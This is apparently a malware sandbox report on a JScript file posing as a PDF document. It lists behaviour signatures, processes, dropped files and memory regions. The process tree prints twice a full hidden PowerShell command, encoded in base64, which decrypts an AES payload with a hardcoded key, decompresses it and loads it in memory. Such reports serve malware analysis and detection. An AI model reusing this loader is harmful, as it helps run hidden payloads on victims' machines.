Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/08/2026, 13:45

General

  • Target
    Draft copy Documents RefNo49805 Pdf.js
  • Size 578KB
  • Sample260828-q2pr2sdb45
  • SHA256 9802baffac7cebadb6cb7cd340cca6e74a659699eb40a4ad95b885ab775bc71c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 26 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Draft copy Documents RefNo49805 Pdf.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABxAEoAVQBZAHYAVAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA2ADEANAAxACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABBAGUAYgBRAFIAegA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA2ADYAOQAxACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB1AGoAUwBEAE0AcgA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHEASgBVAFkAdgBUACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABBAGUAYgBRAFIAegApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABxAEoAVQBZAHYAVAAsACQAQQBlAGIAUQBSAHoAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcQBWAHIASwBvAFYAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdQBqAFMARABNAHIAKQA7ACQAWQBVAEMAYgBaAFQAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAAnACsAJwB0AG8AZwByAGEAcAAnACsAJwBoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAHcAcwBTAFoATgBWAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0ACcAKwAnAGkAdgBhAHQAbwByACcAKQA7ACQAdwBzAFMAWgBOAFYAPQAkAHcAcwBTAFoATgBWADoAOgAoACcAQwByAGUAYQB0AGUASQBuAHMAdAAnACsAJwBhAG4AJwArACcAYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAWQBVAEMAYgBaAFQAKQA7ACQAdwBzAFMAWgBOAFYALgBNAG8AZABlAD0AMQA7ACQAWgBYAHoAYgBYAFcAPQAnAFAASwBvAFkAQgB5ACcAOwAkAG4AdQBsAGwAPQAkAFoAWAB6AGIAWABXAC4ATABlAG4AZwB0AGgAOwAkAHcAcwBTAFoATgBWAC4AUABhAGQAZABpAG4AZwA9ADIAOwAkAGgAcgBhAG4AQQB5AD0AWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoADEAOAA3ADgALwAyADEAKQA7ACQAdwBzAFMAWgBOAFYALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADYAQwAsADAAeAAwADAALAAwAHgAMABGACwAMAB4ADcAMQAsADAAeAAyAEUALAAwAHgAQgAwACwAMAB4ADkAMQAsADAAeAA5AEUALAAwAHgAMQA5ACwAMAB4AEUAQgAsADAAeAA2ADgALAAwAHgANQA4ACwAMAB4AEYARQAsADAAeABDADYALAAwAHgANQA2ACwAMAB4ADkANgApADsAJAB3AHMAUwBaAE4AVgAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcANAAsADAAeABCAEIALAAwAHgANAA5ACwAMAB4ADIANgAsADAAeABCAEIALAAwAHgAQwA2ACwAMAB4AEYAMwAsADAAeAA5AEUALAAwAHgAQgBDACwAMAB4ADIAOAAsADAAeAAzADEALAAwAHgARAA4ACwAMAB4AEQAQgAsADAAeABDAEYALAAwAHgAMwAwACwAMAB4ADIANAApADsAJABVAEMAZwBZAEEAcwA9ACcAQwByAGUAYQB0AGUARABlAGMAcgAnACsAJwB5AHAAdABvAHIAJwA7ACQAWgBIAFUASgBNAGwAPQAkAHcAcwBTAFoATgBWAC4AJABVAEMAZwBZAEEAcwAoACkAOwAkAHkAQwB1AFIAZgBkAD0AJwBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsACcAKwAnAG8AYwBrACcAOwAkAFMARQBYAHYAaABTAD0AJABaAEgAVQBKAE0AbAAuACQAeQBDAHUAUgBmAGQAKAAkAHEAVgByAEsAbwBWACwAMAAsACQAcQBWAHIASwBvAFYALgBMAGUAbgBnAHQAaAApADsAJAByAE4AZQBSAEUAWAA9AEAAKAAxADEAMgAsADEANwAzACwAMwAzACkAOwAkAG4AdQBsAGwAPQAkAHIATgBlAFIARQBYAC4AQwBvAHUAbgB0ADsAJABJAEcAUAB3AE8ARAA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAJwArACcAeQBTACcAKwAnAHQAcgBlAGEAbQAnADsAJABaAEIAcwBQAE8AYgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEkARwBQAHcATwBEACgALAAkAFMARQBYAHYAaABTACkAOwAkAGQAYgBUAEEAWQBiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQASQBHAFAAdwBPAEQAOwAkAEIARwB2AFkAcQB5AD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AJwArACcAbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AJwA7ACQAQwBwAG4AbQBPAEEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABCAEcAdgBZAHEAeQAoACQAWgBCAHMAUABPAGIALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABIAEUAcgBzAGcAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADQAMAA5ADYAOwB3AGgAaQBsAGUAKAAoACQAegBxAGgAdgBSAEsAPQAkAEMAcABuAG0ATwBBAC4AUgBlAGEAZAAoACQASABFAHIAcwBnAHQALAAwACwAJABIAEUAcgBzAGcAdAAuAEwAZQBuAGcAdABoACkAKQAtAGcAdAAgADAAKQB7ACQAZABiAFQAQQBZAGIALgBXAHIAaQB0AGUAKAAkAEgARQByAHMAZwB0ACwAMAAsACQAegBxAGgAdgBSAEsAKQB9ADsAJABBAHkASgBFAFcAZwA9ADkAMQAxADsAJABHAEYAbgBmAHYAcgA9ACQAQQB5AEoARQBXAGcAKgA0ACsAMQA0ADsAJABTAEUAWAB2AGgAUwA9ACQAZABiAFQAQQBZAGIALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQAQgBMAHAAWgBNAFEAPQBbAHQAeQBwAGUAXQAoACcAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0ACcAKwAnAGkAbwBuAC4AQQBzAHMAZQAnACsAJwBtAGIAJwArACcAbAB5ACcAKQA7ACQARwBXAHQAUgB3AHkAPQAkAEIATABwAFoATQBRADoAOgAoACcATABvACcAKwAnAGEAZAAnACkAKAAkAFMARQBYAHYAaABTACkAOwAkAEcAeAB1AHAAcwBWAD0AJwBFAG4AdAByAHkAUAAnACsAJwBvAGkAJwArACcAbgB0ACcAOwAkAFQASQBqAGkAQgBlAD0AJABHAFcAdABSAHcAeQAuACQARwB4AHUAcABzAFYAOwAkAFQASQBqAGkAQgBlAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABxAEoAVQBZAHYAVAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA2ADEANAAxACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABBAGUAYgBRAFIAegA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA2ADYAOQAxACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB1AGoAUwBEAE0AcgA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHEASgBVAFkAdgBUACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABBAGUAYgBRAFIAegApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABxAEoAVQBZAHYAVAAsACQAQQBlAGIAUQBSAHoAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcQBWAHIASwBvAFYAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdQBqAFMARABNAHIAKQA7ACQAWQBVAEMAYgBaAFQAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAAnACsAJwB0AG8AZwByAGEAcAAnACsAJwBoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAHcAcwBTAFoATgBWAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0ACcAKwAnAGkAdgBhAHQAbwByACcAKQA7ACQAdwBzAFMAWgBOAFYAPQAkAHcAcwBTAFoATgBWADoAOgAoACcAQwByAGUAYQB0AGUASQBuAHMAdAAnACsAJwBhAG4AJwArACcAYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAWQBVAEMAYgBaAFQAKQA7ACQAdwBzAFMAWgBOAFYALgBNAG8AZABlAD0AMQA7ACQAWgBYAHoAYgBYAFcAPQAnAFAASwBvAFkAQgB5ACcAOwAkAG4AdQBsAGwAPQAkAFoAWAB6AGIAWABXAC4ATABlAG4AZwB0AGgAOwAkAHcAcwBTAFoATgBWAC4AUABhAGQAZABpAG4AZwA9ADIAOwAkAGgAcgBhAG4AQQB5AD0AWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoADEAOAA3ADgALwAyADEAKQA7ACQAdwBzAFMAWgBOAFYALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADYAQwAsADAAeAAwADAALAAwAHgAMABGACwAMAB4ADcAMQAsADAAeAAyAEUALAAwAHgAQgAwACwAMAB4ADkAMQAsADAAeAA5AEUALAAwAHgAMQA5ACwAMAB4AEUAQgAsADAAeAA2ADgALAAwAHgANQA4ACwAMAB4AEYARQAsADAAeABDADYALAAwAHgANQA2ACwAMAB4ADkANgApADsAJAB3AHMAUwBaAE4AVgAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcANAAsADAAeABCAEIALAAwAHgANAA5ACwAMAB4ADIANgAsADAAeABCAEIALAAwAHgAQwA2ACwAMAB4AEYAMwAsADAAeAA5AEUALAAwAHgAQgBDACwAMAB4ADIAOAAsADAAeAAzADEALAAwAHgARAA4ACwAMAB4AEQAQgAsADAAeABDAEYALAAwAHgAMwAwACwAMAB4ADIANAApADsAJABVAEMAZwBZAEEAcwA9ACcAQwByAGUAYQB0AGUARABlAGMAcgAnACsAJwB5AHAAdABvAHIAJwA7ACQAWgBIAFUASgBNAGwAPQAkAHcAcwBTAFoATgBWAC4AJABVAEMAZwBZAEEAcwAoACkAOwAkAHkAQwB1AFIAZgBkAD0AJwBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsACcAKwAnAG8AYwBrACcAOwAkAFMARQBYAHYAaABTAD0AJABaAEgAVQBKAE0AbAAuACQAeQBDAHUAUgBmAGQAKAAkAHEAVgByAEsAbwBWACwAMAAsACQAcQBWAHIASwBvAFYALgBMAGUAbgBnAHQAaAApADsAJAByAE4AZQBSAEUAWAA9AEAAKAAxADEAMgAsADEANwAzACwAMwAzACkAOwAkAG4AdQBsAGwAPQAkAHIATgBlAFIARQBYAC4AQwBvAHUAbgB0ADsAJABJAEcAUAB3AE8ARAA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAJwArACcAeQBTACcAKwAnAHQAcgBlAGEAbQAnADsAJABaAEIAcwBQAE8AYgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEkARwBQAHcATwBEACgALAAkAFMARQBYAHYAaABTACkAOwAkAGQAYgBUAEEAWQBiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQASQBHAFAAdwBPAEQAOwAkAEIARwB2AFkAcQB5AD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AJwArACcAbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AJwA7ACQAQwBwAG4AbQBPAEEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABCAEcAdgBZAHEAeQAoACQAWgBCAHMAUABPAGIALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABIAEUAcgBzAGcAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADQAMAA5ADYAOwB3AGgAaQBsAGUAKAAoACQAegBxAGgAdgBSAEsAPQAkAEMAcABuAG0ATwBBAC4AUgBlAGEAZAAoACQASABFAHIAcwBnAHQALAAwACwAJABIAEUAcgBzAGcAdAAuAEwAZQBuAGcAdABoACkAKQAtAGcAdAAgADAAKQB7ACQAZABiAFQAQQBZAGIALgBXAHIAaQB0AGUAKAAkAEgARQByAHMAZwB0ACwAMAAsACQAegBxAGgAdgBSAEsAKQB9ADsAJABBAHkASgBFAFcAZwA9ADkAMQAxADsAJABHAEYAbgBmAHYAcgA9ACQAQQB5AEoARQBXAGcAKgA0ACsAMQA0ADsAJABTAEUAWAB2AGgAUwA9ACQAZABiAFQAQQBZAGIALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQAQgBMAHAAWgBNAFEAPQBbAHQAeQBwAGUAXQAoACcAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0ACcAKwAnAGkAbwBuAC4AQQBzAHMAZQAnACsAJwBtAGIAJwArACcAbAB5ACcAKQA7ACQARwBXAHQAUgB3AHkAPQAkAEIATABwAFoATQBRADoAOgAoACcATABvACcAKwAnAGEAZAAnACkAKAAkAFMARQBYAHYAaABTACkAOwAkAEcAeAB1AHAAcwBWAD0AJwBFAG4AdAByAHkAUAAnACsAJwBvAGkAJwArACcAbgB0ACcAOwAkAFQASQBqAGkAQgBlAD0AJABHAFcAdABSAHcAeQAuACQARwB4AHUAcABzAFYAOwAkAFQASQBqAGkAQgBlAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkA
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3712
  • C:\Windows\system32\wscript.exe
    wscript.exe
    1⤵
      PID:2100

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          1ak5mtd0869la

          • Path C:\Users\Admin\AppData\Local\Temp\1ak5mtd0869l\1ak5mtd0869la
          • Size 65KB
          • SHA256 7d0485c7fcc933578e88d14b947bd0021e951982ec80e69d55a44d7f211f5061
          • MD5 SHA1 SHA512 SSDEEP TLSH

          1ak5mtd0869lb

          • Path C:\Users\Admin\AppData\Local\Temp\1ak5mtd0869l\1ak5mtd0869lb
          • Size 65KB
          • SHA256 1fa40f69d6bf9dc4b9fdebf0bcaa6ca0746a9f707ba8a7efae4bf252e795a948
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_g1yghpme.aj5.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1yghpme.aj5.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3712-3-0x0000022AFB0B0000-0x0000022AFB0C0000-memory.dmp

          memory/3712-4-0x0000022AFB0B0000-0x0000022AFB0C0000-memory.dmp

          memory/3712-12-0x0000022AFD360000-0x0000022AFD382000-memory.dmp

          memory/3712-15-0x0000022AFDA70000-0x0000022AFDABE000-memory.dmp

          memory/3712-16-0x0000022AFB0C0000-0x0000022AFB0D2000-memory.dmp

          memory/3712-17-0x0000022AFB0B0000-0x0000022AFB0C0000-memory.dmp

          memory/3712-18-0x0000022AFB0B0000-0x0000022AFB0C0000-memory.dmp